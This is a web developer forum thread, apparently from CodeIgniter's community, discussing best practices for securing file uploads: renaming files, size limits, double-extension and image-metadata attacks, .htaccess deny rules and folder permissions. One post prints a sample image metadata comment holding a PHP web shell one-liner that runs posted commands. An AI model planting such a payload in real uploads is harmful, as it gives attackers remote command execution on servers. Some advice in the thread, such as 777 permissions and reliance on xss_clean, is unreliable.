Welcome Guest, Not a member yet? Register   Sign In
File Upload tips/tricks/best practice (in regards to security VS usability).
#1

[eluser]boltsabre[/eluser]
Hi guys and girls,

I'm going to be delving into the the file upload class next week, and was hoping we could get together a list of best practices when it comes to the beast that is file upload security VS usability for the users VS processing/server times to process it all.

What do you do to ensure the file upload process is not a hackers paradise? Let's start with images (jpg|jpeg|gif|png).

File Upload Class:
- Do you rename the image and store that in a DB using "encrypt_name", or some other random string generator?
- Do you set a max width, height, size? If so, what do you find is best in today's world of smart phones/cameras with massive mega pixel capabilities(thus massive image sizes?).
- Obviously for an image upload you want to set "allowed_types" to "jpg|jpeg|gif|png" (or is the 'jpeg' redundant?).

Image Manipulation Class:
- Does using this class mitigate the dreaded "double extension" hack? (ie, uploading a file called "myfile.php.jpg" will execute as php when called).
- As above, but for the "embedded code in image meta data" hack? (ie, where you embed php code in the image meta data, when you call that image it will process that php script).

General:
- Where do you put your uploads folder (hopefully not in the root folder!)
- Do you have a .htaccess file in there? If so, what's in it and what does it do?
- What permissions do you give this folder? 775 or 777?

And finally: I'm sure there is much more to consider when securing file uploads, what else do you do?
And finally number 2: What if you wanted a "resume" uploader (for example), what else, or different, do you do? Lets say, what do you do to secure a word/pdf upload (word not to be confused with MS_Word, I meant a general word document upload, many mac users don't use MS_Word...)

Thanks in advance, hopefully we can get a good outline on best practices in CI for securing (image and word/pdf) uploads!!!

#2

[eluser]boltsabre[/eluser]
Well that was disappointing...
#3

[eluser]LuckyFella73[/eluser]
First of all starting this discussion is a very nice idea! The result can be
very usefull for all of us so I hope more people are going to take their time
and share their experience here.

Personally I don't have good answers to all your questions but I'll try to push
this post on top of the topic list for a few hours by sharing a few thoughts Wink

Quote:Do you rename the image and store that in a DB using “encrypt_name”, or some other random string generator?

I think that depends on the site you develop. In some cases a meaningful name is useful for SEO purposes
in other caseses encryption might be better.

Quote:Do you set a max width, height, size? If so, what do you find is best in today’s world of smart phones/cameras with massive mega pixel capabilities(thus massive image sizes?)

It depends what happens with the image file after uploading. But you made a good point to mention
smartphones/did cameras. The small backends I use to script usually a designed to be used via
desktop PCs but depending on the page you develop it might be a good idea to higher the
max width/height.

Quote:Where do you put your uploads folder (hopefully not in the root folder!)

Of a security point of view you shouldn't (root folder). On the other side we are often
forced to when clients don't have a webserver that allows to navigate one level up
fromm root and refude to change the hosting contract .. sadfully ... at least that is my
experience.

Quote:Do you have a .htaccess file in there? If so, what’s in it and what does it do?

I found a code example that seems to prevent access to defined file extentions:
Code:
<FilesMatch ".(htaccess|htpasswd|php|js|exe|bat)$"> // list all extentions to block
Order Allow,Deny
Deny from all
</FilesMatch>
Could be useful maybe

Quote:What permissions do you give this folder? 775 or 777
In my experience you have to set the permissions to 777 on some servers. I guess
that depends on how the server is configured. When possible set the permissions
to the lowest level that works.
#4

[eluser]boltsabre[/eluser]
Thanks Luckyfella73 for replying.

I really thought that this post would have had the regulars jumping all over it, user uploads are such a MASSIVE security problem, but perhaps they are just as clueless as most other people?

Either way, it's a bit sad, I was hoping we could get a list of "best practices" to help the CI community to both code quicker (due to the already existing image and upload classes) and SAFER by helping to educate people and what they should consider...

Quote:I found a code example that seems to prevent access to defined file extentions:
Code:
<FilesMatch ".(htaccess|htpasswd|php|js|exe|bat)$"> // list all extentions to block
Order Allow,Deny
Deny from all
</FilesMatch>
Wouldn't having a white list be much better? How many script extensions are there out there now, and possibly in the future?

If anyone has any input it would be great, hell, I don't even mind if at the end of all this someone collates the data and puts it on their blog. Then in the future when some newbie asks we can just send them there, and send you extra traffic!

Does ANYONE have any experience with how to combat the "double extension" (ie, filename.php.jpg) or "embedded image meta data" (when you embed a script in an image meta data, it will execute on your server when that file is called) hacks???
#5

[eluser]LuckyFella73[/eluser]
I did some reseach about embedded image meta data and found an example
of an "infected" file:
Code:
File name    : image.jpg
File size    : 182007 bytes
File date    : 2011:09:07 21:20:10
Resolution   : 1197 x 478
Comment      : &lt;?php passthru($_POST['cmd']); __halt_compiler();

Using an example from php.net we can read the meta data like this:
Code:
public function display_exif_data($full_path)
{
  $exif = exif_read_data($full_path, 0, true);

  foreach ($exif as $key => $section)
  {
   foreach ($section as $name => $val)
   {
    echo "$key.$name: $val<br />\n";
   }
  }
}

Instead of echoing the meta data we could check the keys and values against some kind
of blacklist. Don't know if that is a naive approach but I guess that way we
can at least lower the risk.

What do you think?


EDIT: the CI security class (xss_clean()) allready takes care of this so never mind ...




Theme © iAndrew 2016 - Forum software by © MyBB